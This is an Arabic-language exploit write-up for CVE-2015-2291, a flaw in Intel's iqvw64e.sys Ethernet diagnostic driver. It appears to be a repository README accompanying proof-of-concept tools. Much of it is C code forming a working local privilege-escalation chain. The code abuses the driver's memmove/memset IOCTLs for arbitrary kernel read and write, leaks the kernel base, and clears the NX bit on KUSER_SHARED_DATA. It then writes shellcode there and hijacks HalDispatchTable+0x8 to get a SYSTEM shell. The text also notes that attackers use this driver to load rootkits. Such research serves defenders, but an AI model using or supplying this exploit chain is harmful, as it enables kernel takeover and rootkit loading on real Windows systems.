
(1) IQVW32.sys قبل الإصدار 1.3.1.0 و(2) IQVW64.sys قبل الإصدار 1.3.1.0 في برنامج تشغيل تشخيص إيثرنت إنتل لنظام ويندوز يسمح للمستخدمين المحليين بالتسبب في رفض الخدمة أو ربما تنفيذ كود تعسفي بامتيازات النواة عبر استدعاء IOCTL مخصص (a) 0x80862013، (b) 0x8086200B، (c) 0x8086200F، أو (d) 0x80862007.
(1) IQVW32.sys قبل الإصدار 1.3.1.0 و (2) IQVW64.sys قبل الإصدار 1.3.1.0 في برنامج تشغيل تشخيص إيثرنت من إنتل لنظام ويندوز يسمح للمستخدمين المحليين بالتسبب في رفض الخدمة أو ربما تنفيذ كود عشوائي بصلاحيات النواة عبر استدعاء IOCTL مُصمم (أ) 0x80862013، (ب) 0x8086200B، (ج) 0x8086200F، أو (د) 0x80862007.
يحتوي هذا المستودع على تقرير حول الثغرة المذكورة، بالإضافة إلى أدوات إثبات المفهوم التي تعمل على نظام ويندوز 7 64 بت مع حزمة الخدمة 1 ونظام ويندوز 10 20H2. يمكن العثور على ملف برنامج التشغيل في دليل ملفات برنامج التشغيل. إذا اكتشفت أي أخطاء إملائية في التقرير/الورقة، أو إذا كنت ترغب في رؤية تفاصيل معينة مع شرح أكثر تفصيلاً، يرجى إنشاء مشكلة في المستودع! سأقوم بإصلاحها في أقرب وقت ممكن.
الدافع وراء كتابة استغلال لبرنامج التشغيل هذا على وجه الخصوص هو فقط لأنه يُستخدم حالياً في البرية لتحميل روت-كيت غير موقعة من المهاجم. باستخدام طريقة BYOVD (إحضار برنامج التشغيل الضعيف الخاص بك)، يمكن للبرنامج الضار التحقق مما إذا كان يعمل بصلاحيات مرتفعة، وإسقاط نسخة من برنامج التشغيل الضعيف، وتحميل برنامج التشغيل، ثم استغلاله للحصول على تنفيذ كود النواة لتحميل الروت-كيت. لم أتمكن من هندسة عكسية ناجحة لعينة البرنامج الضار، لذا أخذت على عاتقي إنشاء الاستغلال.
عينات تم رصدها في البرية: https://bazaar.abuse.ch/sample/84ed7fec67de5621806dbb43af5167a5fc60ab7f2403448519dc0eca2b8f9022/ https://bazaar.abuse.ch/sample/0925b8985b19d7925d68186d666b0050a4cb3f2a577d64765d770a57a2eab9ae/ https://bazaar.abuse.ch/sample/e8b7f42d544fe8b954c4021315cff2fdd44d67d11704009cdf3037d34e0c0a93/
برنامج التشغيل، المسمى iqvw64e.sys، هو برنامج تشغيل مصمم لإجراء تشخيصات لمحول الشبكة. يسمح للمكون في وضع المستخدم بالتفاعل مع برنامج التشغيل لتنفيذ العديد من إجراءات النواة عن طريق كشف عدد من رموز التحكم بالإدخال/الإخراج (المعروفة أيضاً باسم IOCTLs)، مع تقديم رمز تحكم IOCTL "فرعي" في مخزن الإدخال الخاص بالمستخدم أثناء التفاعل. رمز التحكم IOCTL الذي سيُستخدم للوصول إلى مسار الكود الضعيف هو 0x80862007. بالإضافة إلى رمز التحكم الرئيسي، فإن رموز التحكم IOCTL "الفرعية" المذكورة أعلاه التي سيتم تغطيتها في هذا التحليل ستكون الرمز 0x33 للوصول إلى استدعاء الدالة memmove، والرمز 0x30 للوصول إلى مسار الكود الخاص باستدعاء الدالة memset. لن يغطي هذا التقرير أي تفاصيل تتعلق بإجراء DriverEntry، حيث توجد وثائق كافية على صفحة توثيق مايكروسوفت لتقديم شرح شامل.
للبدء، نريد معرفة كيف يمكننا التفاعل مع برنامج التشغيل هذا في المقام الأول. الطريقة الأكثر شيوعاً للتواصل مع برنامج التشغيل هي من خلال استخدام دالة تسمى DeviceIoControl. الفكرة العامة وراء هذه الدالة هي أنه يمكننا تمرير مقبض برنامج تشغيل صالح تم إنشاؤه بواسطة CreateFileA، وتمرير رمز تحكم IOCTL يتوافق مع إجراء النواة الذي نريده، وتمرير بنية (أو مخزن) يتوقعها، وستقوم بإرجاع البيانات في مخزن الإخراج الخاص بنا. بينما يمكن أن تكون إجراءات مثل هذه ضرورية في بعض الأحيان (مثل الوصول إلى السجلات الخاصة بالنموذج لأغراض رفع تردد التشغيل)، إلا أنها تشكل أيضاً خطراً أمنياً خطيراً. ولكن... كيف؟
في حالة CVE-2015-2291، يمكن تفعيل الثغرة بواسطة مستخدم غير مميز. نظراً لعدم وجود فحوصات تنقية، و لا تتطلب امتيازات المسؤول لاستغلال الثغرة، فإن هذا يشكل خطراً أمنياً. ما يكمن تحت هذين العيبين هو القدرة على التحكم الكامل في استدعاءات الدالتين memset و memmove المكشوفة بواسطة واجهة رمز التحكم IOCTL. تذكر الدالة DeviceIoControl المذكورة سابقاً، كيف يمكننا تمرير بنية سيتم استخدامها في إجراء النواة؟ هكذا يتجمع كل شيء.
دعنا نتراجع خطوة. نريد أولاً الحصول على مقبض برنامج التشغيل المرتبط ببرنامج التشغيل الضعيف. ولكن حتى قبل ذلك، نحتاج إلى تحديد كائن الجهاز المسمى المرتبط. يتم كشف هذه الكائنات للمستخدم عبر رابط رمزي (مضمن في الكود عادةً)، يمكن العثور عليه باستخدام WinObj، جزء من [مجموعة SysInternals]. بينما يمكننا استخدام أداة تفريغ السلاسل النصية لتفريغ الرابط الرمزي، أو بدلاً من ذلك هندسة عكسية لبرنامج التشغيل، قمت ببساطة بتحميل برنامج التشغيل وتحديده باستخدام WinObj. الرابط الرمزي الموجود والمرتبط ببرنامج التشغيل هو \\.\GLOBALROOT\Device\Nal. للحصول على مقبض برنامج التشغيل، نحتاج إلى استدعاء دالة CreateFileA وجعلها تُعيد مقبض برنامج تشغيل صالحاً لاستخدامه لاحقاً في العملية. الكود لهذه العملية هو كما يلي:```C
if (h_nal == (HANDLE)-1)
{
printf("\n[-] Unable to obtain a driver handle to the Nal device driver. Error: %d (0x%x)", GetLastError(), GetLastError());
unused = getchar();
return 1;
}
printf("\n[+] Obtained a driver handle to the Nal device driver. Handle Value: 0x%p", h_nal);
سنستخدم مقبض برنامج التشغيل لاحقًا في عملية الاستغلال. في الوقت الحالي، سنبدأ في إعداد استغلالنا. الخطوة التالية ستكون تحميل مكتبة `ntdll.dll` باستخدام دالة [LoadLibraryA](https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibrarya) لإرجاع [مقبض وحدة](https://docs.microsoft.com/en-us/windows/win32/winprog/windows-data-types)، حتى نتمكن من تحديد موقع الوظائف التي نحتاجها ديناميكيًا. على الرغم من أن مكتبة `ntdll.dll` قد تكون محملة بالفعل في عمليتنا، إلا أننا مع ذلك نحتاج إلى الحصول على مقبض للمكتبة يمكننا استخدامه. الوظائف التي نحتاجها للاستغلال هي [NtQuerySystemInformation](https://docs.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntquerysysteminformation) لتسريب العنوان الأساسي لنواة NT (مع سلامة عملية متوسطة) لاستخدامه لاحقًا في عملية الاستغلال، ووظيفة [NtQueryIntervalProfile](http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FProfile%2FNtQueryIntervalProfile.html) لتحفيز الثغرة. أما بالنسبة للكود الخاص بتحميل مكتبة `ntdll.dll`، فهو كما يلي:```C
h_ntdll = LoadLibraryA("C:\\Windows\\System32\\ntdll.dll");
if (!h_ntdll)
{
printf("\n[-] Failed to load the \"ntdll.dll\" API library. Error: %d (0x%x)", GetLastError(), GetLastError());
unused = getchar();
return 0;
}
printf("\n[+] Loaded the \"ntdll.dll\" API library. Handle Value: 0x%p", h_ntdll);
الآن بعد أن حصلنا على مقبض (handle) للمكتبة، سنبدأ بتحديد موقع الدالة NtQueryIntervalProfile. للبدء، سنحتاج إلى تعريف نوع (type definition) لهذه الدالة، لأنها غير موثقة. بينما يمكنك العثور على تعريف النوع عبر الإنترنت، فقد وفرته هنا لسهولة الوصول:```C
typedef unsigned int(__stdcall* NtQueryIntervalProfile)(
unsigned int ProfileSource,
PULONG Interval
);
لاستخدام هذه الوظيفة، سنحتاج أيضًا إلى تعريف متغير (محلي أو عام، حسب اختيارك) باستخدام نوع `NtQueryIntervalProfile`. الآن، كيف نحول هذا المتغير إلى وظيفة فعلية؟ للقيام بذلك، سنستخدم وظيفة تُسمى [GetProcAddress](https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddress). من خلال تمرير مقبض للوحدة التي نريد البحث فيها (المعامل الأول) وتمرير اسم الوظيفة (المعامل الثاني)، يمكننا تحديد موقع أي وظيفة نريدها في الوحدة واسترداد مؤشر لتلك الوظيفة! يتم توفير الكود لمساعدتك في معالجة هذه المعلومات.```C
_NtQueryIntervalProfile = (NtQueryIntervalProfile)GetProcAddress(h_ntdll, "NtQueryIntervalProfile");
if (!_NtQueryIntervalProfile)
{
printf("\n[-] Failed to locate the \"NtQueryIntervalProfile\" function. Error: %d (0x%x)", GetLastError(), GetLastError());
unused = getchar();
return 1;
}
printf("\n[+] Located the \"NtQueryIntervalProfile\" function. Function Address: 0x%p", _NtQueryIntervalProfile);
السبب في نجاح تحميل الدوال ديناميكيًا والقدرة على استخدامها هو أن الدوال نفسها عبارة عن مؤشرات إلى كود قابل للتنفيذ. النص الفعلي للدالة هو الكود الذي سيتم تنفيذه.
الآن وبعد أن حللنا مؤشر الدالة NtQueryIntervalProfile، ما زلنا بحاجة إلى استرداد عنوان دالة NtQuerySystemInformation. كما في السابق، نحتاج إلى تعريف نوع لهذه الدالة، وسنحتاج أيضًا إلى تعريف متغير لاستدعاء الدالة. وأيضًا كما في السابق، قمت بتوفير تعريف النوع لتسهيل الوصول.```C
typedef NTSTATUS(WINAPI* NtQuerySystemInformation)(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
وكذلك، كما في السابق، نحتاج إلى تحديد موقع الدالة. والفرق الوحيد بين الاستدعاء السابق لـ `GetProcAddress` وهذا الاستدعاء هو الدالة التي نبحث عنها. يمكننا نسخ الدالة وتغيير المعامل الثاني للبحث عن الدالة الثانية. بعد كتابة الكود، يجب أن نحصل على شيء مشابه لهذا:```C
_NtQuerySystemInformation = (NtQuerySystemInformation)GetProcAddress(h_ntdll, "NtQuerySystemInformation");
if (!_NtQuerySystemInformation)
{
printf("\n[-] Failed to locate the \"NtQuerySystemInformation\" function. Error: %d (0x%x)", GetLastError(), GetLastError());
unused = getchar();
return 0;
}
printf("\n[+] Located the \"NtQuerySystemInformation\" function. Function Address: 0x%p", _NtQuerySystemInformation);
ممتاز! لقد حددنا جميع الوظائف غير الموجودة التي نحتاجها. الآن، سنحتاج إلى تسريب عنوان قاعدة NT Kernel. بمساعدة NtQuerySystemInformation، يمكننا إنشاء استعلام سيعيد عناوين القاعدة ومعلومات أخرى لجميع برامج تشغيل الأجهزة المحملة حاليًا. المعامل الأول لدالة NtQuerySystemInformation هو تعداد (enum)، وتحديدًا تعداد غير موثق بشكل عام. التعداد هو SystemModuleInformation، والذي له قيمة مقابلة هي 0xB. بعد ذلك، سنحتاج إلى تمرير مؤشر إلى إحدى الهياكل المرتجعة. الهياكل والتعدادات اللازمة موضحة أدناه، بإذن من FuzzySecurity (@b33f):```C
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemModuleInformation = 0xB,
} SYSTEM_INFORMATION_CLASS;
typedef struct SYSTEM_MODULE { ULONG Reserved1; ULONG Reserved2; ULONG Reserved3; PVOID ImageBaseAddress; ULONG ImageSize; ULONG Flags; WORD Id; WORD Rank; WORD LoadCount; WORD NameOffset; CHAR Name[256]; } SYSTEM_MODULE, * PSYSTEM_MODULE;
typedef struct SYSTEM_MODULE_INFORMATION { ULONG ModulesCount; SYSTEM_MODULE Modules[1]; } SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
لكن انتظر، هناك المزيد! سنحتاج إلى تحديد حجم الهيكل الذي نريد تخصيصه. نظرًا لأن حجم الهيكل يختلف اعتمادًا على عدد برامج تشغيل الأجهزة التي نسترد معلومات عنها، فإننا نحتاج إلى استدعاء هذه الدالة مرتين؛ استدعاء الدالة الأول سيكون لاسترداد الحجم المتوقع للهيكل، واستدعاء الدالة الثاني سيكون لاسترداد المعلومات وتخزينها في الهيكل الخاص بنا. لاسترداد الحجم، استخدم التعداد `SystemModuleInformation` المذكور سابقًا للمعامل الأول، ومرر مؤشرًا لمتغير سيخزن حجم الهيكل، ومرر `0` (أو `NULL`) لبقية المعاملات المتبقية. يجب أن يبدو الكود كالتالي:```C
_NtQuerySystemInformation(SystemModuleInformation, 0, 0, &return_length);
سهل بما فيه الكفاية! لقد نجحنا في استرداد حجم الهيكل المتوقع. الآن، نحتاج إلى تخصيص ذاكرة لمتغيرنا الذي سيخزن المعلومات. باستخدام دالة تُسمى VirtualAlloc، يمكننا تخصيص ذاكرة مكدسة (stack) في أي عنوان نقدمه، بأي حجم نريده، مع مجموعة حماية خاصة بنا، وإرجاع مؤشر لهذه الذاكرة. لأغراضنا، لا نحتاج إلى تخصيص هذه الذاكرة في عنوان ثابت، لذا سنمرر 0 للسماح لمدير الذاكرة باختيار موقع في الذاكرة لنا. بالإضافة إلى ذلك، سنحتاج أيضًا إلى تخصيص كتلة من ذاكرة المكدس بحجم العائد من NtQuerySystemInformation، ولهذا اضطررنا لتخزين القيمة. بالنسبة لنوع التخصيص ومعاملات الحماية، ما عليك سوى استخدام الوسائط العامة الموضحة في الكود أدناه.```C
module_info = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(0, return_length, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
الآن بعد أن خصصنا ذاكرة المكدس للهيكل المُعاد، يمكننا الآن الاستعلام عن معلومات وحدة النظام، واسترداد هيكل يحتوي على معلومات كل برنامج تشغيل جهاز محمّل. للقيام بذلك، يمكننا إعادة استخدام استدعاء الدالة `NtQuerySystemInformation` من قبل، وتمرير مؤشر إلى الهيكل (المعامل الثاني) وحجم الهيكل (المعامل الثالث). الآن، هل لديك شيء كهذا؟```C
status = _NtQuerySystemInformation(SystemModuleInformation, module_info, return_length, &return_length);
if (status)
{
printf("\n[-] Failed to query system module information. NTSTATUS: %d (0x%x)", status, status);
unused = getchar();
return 0;
}
printf("\n[+] Queried system module information.");
حسنًا، آمل أن يكون لديك شيء مماثل. كل ما تبقى علينا فعله لتسريب عنوان قاعدة نواة NT هو عن طريق الاستعلام عن هيكلنا! لا تحتاج إلى مقارنة السلاسل مع اسم المشغل في هذه الحالة، لأن معلومات مشغل نواة NT تكون دائمًا في الفهرس 0 في هذا الهيكل. لاسترداد عنوان القاعدة لمشغل ما، ببساطة اطبع، أو خزّن، أو أعد قيمة حقل الهيكل ImageBaseAddress. كما أنه من الممارسات الجيدة التأكد من أن المؤشر ليس NULL قبل استخدامه.```C
if (module_info)
{
printf("\n[+] Leaked the NT kernel base address. Kernel Base Address: 0x%p", module_info->Modules[0].ImageBaseAddress);
return (unsigned long long)module_info->Modules[0].ImageBaseAddress;
}
printf("\n[-] Failed to leak the NT kernel base address."); unused = getchar(); return 0;
تمكنا بنجاح من الحصول على عنوان قاعدة النواة. الآن، هناك خطوة أخرى قبل أن نبدأ عملية استغلال هذه الثغرة. سنحتاج إلى إنشاء مؤشر `QWORD` (عدد صحيح 64 بت) لتخزين [إدخال جدول الصفحات (PTE)](https://en.wikipedia.org/wiki/Page_table) وتخصيص ذاكرة مكدس له باستخدام `VirtualAlloc`. سيتم تغطية PTEs لاحقًا في هذه الورقة.
كما تم توضيحه سابقًا، سنستخدم `VirtualAlloc` لتخصيص الذاكرة وإرجاع مؤشر إلى كتلة الذاكرة. الكود المستخدم في استغلالي موضح أدناه:```C
pte_address = (long long*)VirtualAlloc(0, 8, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!pte_address)
{
printf("\n[-] Failed to allocate stack memory for the leaked page table entry base address pointer. Error: %d (0x%x)", GetLastError(), GetLastError());
unused = getchar();
return 1;
}
printf("\n[+] Allocated stack memory for the leaked page table entry base address pointer. Stack Memory Address: 0x%p", (long long*)pte_address);
الآن بعد أن اكتملت الخطوة الأخيرة من عملية الإعداد، لنبدأ عملية الاستغلال!
كما ذُكر في الأجزاء السابقة من الورقة، فإن رمز التحكم في الإدخال/الإخراج الذي نريد استخدامه هو IOCTL 0x80862007. ولكن، كيف نمرّر "sub" IOCTLs الفرعية؟

يتم تخزين مؤشر إلى إدخالنا من مساحة المستخدم الذي نمرره إلى برنامج تشغيل الجهاز في السجل rcx. كما نرى في هذا الشكل، لاحظنا أنه ببساطة يقوم بإزالة المرجعية للقيمة الموجودة في أول قيمة QWORD في البنية التي سنمررها. ثم يقوم بإجراء switch-case على القيمة التي تم الحصول عليها.

عند التمرير عبر الكود الزائف المفكك، نجد روتينين يسمحان لنا بالتحكم في القيم الثلاث لكل من memset و memove على التوالي. من خلال تمرير قيمة 0x30 كأول QWORD في البنية، يمكننا الوصول إلى مسار كود memset. بدلاً من ذلك، من خلال تمرير قيمة 0x33 كأول QWORD في البنية، نصل إلى مسار كود memmove. هذان المساران موضحان أدناه على التوالي.

من النظر إلى الإزاحات المستخدمة في المخزن المؤقت للإدخال، تمكنا من إنشاء بنيات لكل من هاتين الدالتين لتمريرها، لتسهيل القراءة. لاحظ أن هناك حقل QWORD يُستخدم كحشو. على الرغم من أننا لن نضبط قيمته على أي شيء، إلا أننا نحتاج إلى هذا الحقل لكي يكون تعريف البنية صحيحًا. بالإضافة إلى ذلك، لاحظ المعاملات المستخدمة في استدعاءات هذه الروتينات. أثناء عملية الهندسة العكسية، علمنا أن المعاملات التي تم تمريرها تأتي بالترتيب الصحيح مع تعريفات الدوال الخاصة بها. كما تم توفير أشكال توضح ذلك أدناه.
بنية مسار كود memset للإدخال:```C
typedef struct _MEMSET_INPUT_BUFFER
{
unsigned long long JumpTableCode; // Offset: 0x0 (0)
unsigned long long Padding1; // Offset: 0x8 (8)
unsigned long long Value; // Offset: 0x10 (16)
unsigned long long Destination; // Offset: 0x18 (24)
unsigned long long Length; // Offset: 0x20 (32)
} MEMSET_INPUT_BUFFER, * PMEMSET_INPUT_BUFFER;
هيكل الإدخال لمسار الكود `memmove`:```C
typedef struct _MEMMOVE_INPUT_BUFFER
{
unsigned long long JumpTableCode; // Offset: 0x0 (0)
unsigned long long Padding1; // Offset: 0x8 (8)
unsigned long long* Source; // Offset: 0x10 (16)
unsigned long long* Destination; // Offset: 0x18 (24)
unsigned long long Length; // Offset: 0x20 (32)
} MEMMOVE_INPUT_BUFFER, * PMEMMOVE_INPUT_BUFFER;

بعد التحليل السريع، كان من الآمن افتراض أن هذه ستوفر لنا بدائية استغلال للقراءة والكتابة التعسفية للنواة. هذا مثالي للاستغلال على ويندوز 10، حيث لا نحتاج إلى تحويل أي بدائيات استغلال إلى قراءات وكتابات تعسفية، وبالتالي يسمح لنا باستغلال هذه الثغرة بسهولة.
للبدء، سنستخدم بدائية استغلال memmove الخاصة بنا لقراءة دالة النواة nt!MiGetPteAddress+0x13. في هذا الإزاحة داخل الدالة، نجد أن هناك قيمة عشوائية. بالدمج مع العمليات الأخرى التي يمكن إجراؤها في استغلالنا، يمكننا حساب العنوان الأساسي لجميع PTEs! هل تذكر متغير pte_address الذي أنشأناه سابقًا؟ أم هل تذكر تسريب العنوان الأساسي لنواة NT؟ كل التحضيرات للاستغلال التي نوقشت سابقًا جعلت هذا ممكنًا. يوضح الكود أدناه حساب العنوان الأساسي لجميع PTEs. لاحظ عنوان KUSER_SHARED_DATA، لأنه في ويندوز 10 20H2، كانت هذه واحدة من آخر مناطق الذاكرة المتبقية في النواة التي لم تتأثر بـ ASLR (توزيع عشوائي لمساحة العنوان) للنواة.
```C
unsigned long long kuser_shared_data_loc = 0xFFFFF78000000050;
current_pte_address = kuser_shared_data_loc >> 9;
current_pte_address &= 0x7FFFFFFFF8;
memmove_input_struct.JumpTableCode = 0x33; memmove_input_struct.Source = nt_base_address + MI_GET_PTE_ADDRESS_PLUS_0X13_OFFSET; memmove_input_struct.Destination = pte_address; memmove_input_struct.Length = 0x8;
DeviceIoControl(h_nal, TARGET_IOCTL, &memmove_input_struct, sizeof(memmove_input_struct), &output, sizeof(output), &bytes_returned, 0); current_pte_address += pte_address; printf("\n[+] Calculated page table entry address. Page Table Entry Address: 0x%p", (unsigned long long)current_pte_address);
الآن بعد أن قمنا بحساب العنوان الأساسي لـ PTE للصفحة المستهدفة، نريد إلغاء الإشارة إلى هذا العنوان واسترداد البتات التي يستخدمها إدخال الصفحة. سنحتاج إلى هذه البيانات قريبًا لتغيير هذه المنطقة من الذاكرة إلى قابلة للقراءة والكتابة والتنفيذ. قمنا بتغيير عنوان `source` في هيكلنا ليشير إلى عنوان PTE الخاص بنا، وقمنا بتغيير حقل `destination` ليشير إلى متغير مكدس لتخزين البتات المستردة، دون تغيير أي حقل آخر في هيكل الإدخال.```C
unsigned long long current_pte_contents = 0;
memmove_input_struct.Source = current_pte_address;
memmove_input_struct.Destination = ¤t_pte_contents;
DeviceIoControl(h_nal, TARGET_IOCTL, &memmove_input_struct, sizeof(memmove_input_struct), &output, sizeof(output), &bytes_returned, 0);
printf("\n[+] Dereferenced page table entry address. Page Table Entry Bits: 0x%llx", current_pte_contents);
الآن وبعد أن حصلنا على محتويات البتات الفعلية لـ PTE، نريد وضع علامة عليها كقابلة للتنفيذ بدون قلب بتات أخرى تشغيل أو إيقاف. للقيام بذلك، نريد مسح البت ذو المستوى الأعلى في القيمة المسترجعة لإزالة بت NX (عدم التنفيذ). لحسن الحظ، يمكننا استخدام عملية AND البتية على القيمة المخزنة، باستخدام AND مع القيمة 0x0FFFFFFFFFFFFFFF لإنجاز هذه المهمة. ثم سنقوم بتشغيل كتابة إلى عنوان النواة باستخدام بدائية الكتابة العشوائية الخاصة بنا، لاستبدال القيمة المخزنة في عنوان PTE. بالنسبة لهيكلنا، سنقوم بتعديل حقل source في الهيكل ليشير إلى بتاتنا المخزنة، وتغيير destination ليشير مرة أخرى إلى عنوان PTE. هذا عكس الترتيب بشكل أساسي لاسترجاع عنوان PTE. يتم توضيح ذلك في مقتطف الشيفرة أدناه.```C
current_pte_contents &= 0x0FFFFFFFFFFFFFFF;
memmove_input_struct.Source = ¤t_pte_contents;
memmove_input_struct.Destination = current_pte_address;
DeviceIoControl(h_nal, TARGET_IOCTL, &memmove_input_struct, sizeof(memmove_input_struct), &output, sizeof(output), &bytes_returned, 0);
printf("\n[+] Marked the page table entry as executable. New Page Table Entry Bits: 0x%llx", current_pte_contents);
قبل أن نواصل، سنحتاج إلى التحقق من أن محتويات PTE قد تم استبدالها قبل المتابعة. إذا فشلت عملية استبدال البت، فسوف يتسبب ذلك في تعطل الجهاز (مع `KERNEL_SECURITY_CHECK_FAILURE` أو فحص خطأ مكافئ). للتحقق من ذلك، سنستخدم الأمر `!pte` في [WinDbg](https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/debugger-download-tools) لتأكيد أن استبدالنا قد عمل كما هو مقصود.

عند فحص بتات PTE، يمكننا أن نرى أن بت NX لم يعد موجودًا! وهذا يعني أن منطقة الذاكرة `KUSER_SHARED_DATA` أصبحت قابلة للتنفيذ الآن. وبينما نتعامل مع هذه المنطقة من الذاكرة، فمن المنطقي فقط وضع حمولة النواة في مكان ما هنا. بعد إجراء تحليل لجزء الذاكرة، علمنا أن إزاحة `0x50` من قاعدة منطقة `KUSER_SHARED_DATA` هي ذاكرة حرة. هذا هو الموقع المثالي لوضع حمولتنا!

هل تذكر أداة الكتابة `memset` الخاصة بنا من قبل؟ باستخدام هذه الأداة، يمكننا التكرار عبر جميع البايتات في حمولة النواة، وكتابة كل بايت فردي إلى هذه المنطقة من الذاكرة باستخدام `memset`. بينما من الممكن استخدام `memmove` لكتابة الحمولة إلى هذا الموقع، أردنا عذرًا لاستخدام كلتا الأداتين، لإظهار كيف يمكن إساءة استخدام إحداهما أو الأخرى، خاصة تحت السيطرة الكاملة. سنستخدم كود القفز `0x30` للوصول إلى مسار كود `memset`، بطول `0x1` بايت ليتم كتابتها. يجب زيادة `الوجهة` بمقدار واحد للإشارة إلى البايت التالي من الذاكرة الحرة، إلى جانب إزاحة حمولة النواة. يمكن توضيح هذه العملية باستخدام حلقة `for` الموضحة أدناه.```C
for (int i = 0; i < sizeof(shellcode); i++)
{
memset_input_struct.Destination = kuser_shared_data_loc + i;
memset_input_struct.Value = shellcode[i];
DeviceIoControl(h_nal, TARGET_IOCTL, &memset_input_struct, sizeof(memset_input_struct), &output, sizeof(output), &bytes_returned, 0);
}
printf("\n[+] Wrote kernel payload at address 0x%llx.", kuser_shared_data_loc);
على الرغم من أن تحفيز ثغرة أمنية عدة مرات يشكل خطرًا لتعطل الجهاز، إلا أن هذه حالة استثنائية، نظرًا للاستقرار العام لبرنامج تشغيل الجهاز وإجراءاته المُستخدَمة (بشكل خاطئ). في خطوتنا التالية، نريد استرداد مؤشر الدالة الأصلي المخزن في nt!HalDispatchTable+0x8. سيتم استخدام مؤشر الدالة المسترد هذا في خطوة الاسترداد، وسيمنع تعطل جهازنا بشكل عشوائي بسبب الوصول إلى مؤشر دالة غير صحيح. على الرغم من أن هذه الخطوة ليست مهمة جدًا على نظام Windows 7، نظرًا لأن دالة تنفيذ حمولتنا لا يتم استدعاؤها بشكل متكرر، إلا أن استخدامها زاد في الإصدارات اللاحقة من Windows 10. كالعادة، سنقوم بتخزين المؤشر الذي تم إرجاعه في متغير محلي على مكدسنا عن طريق إساءة استخدام بدائية القراءة الخاصة بنا مرة أخرى! سنستخدم أيضًا عنوان قاعدة نواة NT المسرب مرة أخرى، هذه المرة بمحاذاته مع إزاحة إلى nt!HalDispatchTable مع إزاحة إضافية مقدارها 0x8.```C
memmove_input_struct.Source = nt_base_address + HAL_DISPATCH_TABLE_PLUS_0X8_OFFSET;
memmove_input_struct.Destination = &recovery_address;
DeviceIoControl(h_nal, TARGET_IOCTL, &memmove_input_struct, sizeof(memmove_input_struct), &output, sizeof(output), &bytes_returned, 0);
printf("\n[+] Retrieved the recovery address. Recovery Address: 0x%llx", recovery_address);
خطوات قليلة متبقية! بعد أن قمنا بتخزين المؤشر الأصلي بنجاح في جدول التوزيع، حان الوقت الآن لاستبدال نفس المؤشر بعنوان `KUSER_SHARED_DATA+0x50` الخاص بنا، والذي سيترجم إلى `0xFFFFF78000000050`. عند هذه النقطة، كل شيء جاهز للانطلاق، ونحن مستعدون للحصول على صلاحية الجذر للنظام! ببساطة، قم بتغيير مصدر استبدال المؤشر إلى ما كان سابقاً هو `الوجهة`، وقم بتمرير مؤشر إلى متغيرنا المحلي الذي يحتوي على عنواننا لحقل `المصدر`.```C
memmove_input_struct.Destination = nt_base_address + HAL_DISPATCH_TABLE_PLUS_0X8_OFFSET;
memmove_input_struct.Source = &kuser_shared_data_loc;
DeviceIoControl(h_nal, TARGET_IOCTL, &memmove_input_struct, sizeof(memmove_input_struct), &output, sizeof(output), &bytes_returned, 0);
printf("\n[+] Overwrote an arbitrary kernel function pointer located in the \"HalDispatchTable+0x8\" function table.\n[!] Executing kernel payload...");
_NtQueryIntervalProfile(2, &interval);
تُعرف الدالة NtQueryIntervalProfile باستخدامها لمؤشرات من جدول توزيع HAL، تحديداً الإزاحة 0x8، ويُساء استخدامها عادةً لهذا السبب. مع القدرة على الكتابة التعسفية في ذاكرة النواة، تُعد هذه واحدة من أسهل تقنيات الاستغلال! في هذه المرحلة من استغلالنا، لدينا صلاحيات nt authority\system، لكننا نريد القيام بخطوة أخيرة قبل إطلاق شلّنا الجميل: التنظيف والاستعادة.
سيتم دمج هذا في خطوة واحدة، حيث أن كلاهما بسيط. سنستخدم كلا البديلين للكتابة التعسفية مرة أخيرة. للبدء، سنقوم بإزالة كل شيلكود الخاص بنا من مساحة النواة. هذه مهمة سهلة، حيث يمكننا استخدام حلقة for نفسها للتكرار خلال طول الحمولة. هذه المرة، سنقوم بالكتابة فوق الذاكرة بالأصفار بدلاً من ذلك، تماماً كما كانت قبل تنفيذ استغلالنا.```C
for (int i = 0; i < sizeof(shellcode); i++)
{
memset_input_struct.Destination = kuser_shared_data_loc + i;
memset_input_struct.Value = 0;
DeviceIoControl(h_nal, TARGET_IOCTL, &memset_input_struct, sizeof(memset_input_struct), &output, sizeof(output), &bytes_returned, 0);
}
printf("\n[+] Removed the kernel payload from kernel memory.");
لا أعتقد أنني بحاجة لشرح تكرارات حلقة `for` أكثر من ذلك. الخطوة الأخيرة في عملية الاسترداد (وعملية الاستغلال بشكل عام) هي استعادة مؤشر الوظيفة الأصلي في `nt!HalDispatchTable+0x8`. باستخدام بيانات بنية `memmove` التي استُخدمت أصلاً لاستبدال أحد المؤشرات العديدة في `nt!HalDispatchTable`، كل ما علينا فعله هو تعديل حقل `source` لتمرير مؤشر إلى العنوان الأصلي. كما في السابق، لا أعتقد أنني بحاجة لشرح هذا الجزء أكثر من ذلك (دولار واحد إذا استطعت عد عدد المرات التي كررت فيها نفسي!).```C
memmove_input_struct.Source = &recovery_address;
DeviceIoControl(h_nal, TARGET_IOCTL, &memmove_input_struct, sizeof(memmove_input_struct), &output, sizeof(output), &bytes_returned, 0);
printf("\n[+] Restored the original function pointer.");
والآن، يمكنك الاستمتاع. أطلق شل النظام!

بشكل عام، كانت هذه ثغرة ممتعة جداً لاستغلالها. لم تكن عملية الاستغلال معقدة كما كنت أتوقع. كما سمحت لي بأن أصبح أكثر راحة مع معالجات PTE، وأتاحت لي إنشاء أول استغلال لتصعيد الامتيازات المحلية لا يقوم على استغلال HackSys Extreme Vulnerable Driver! أتمنى رؤيتكم قريباً.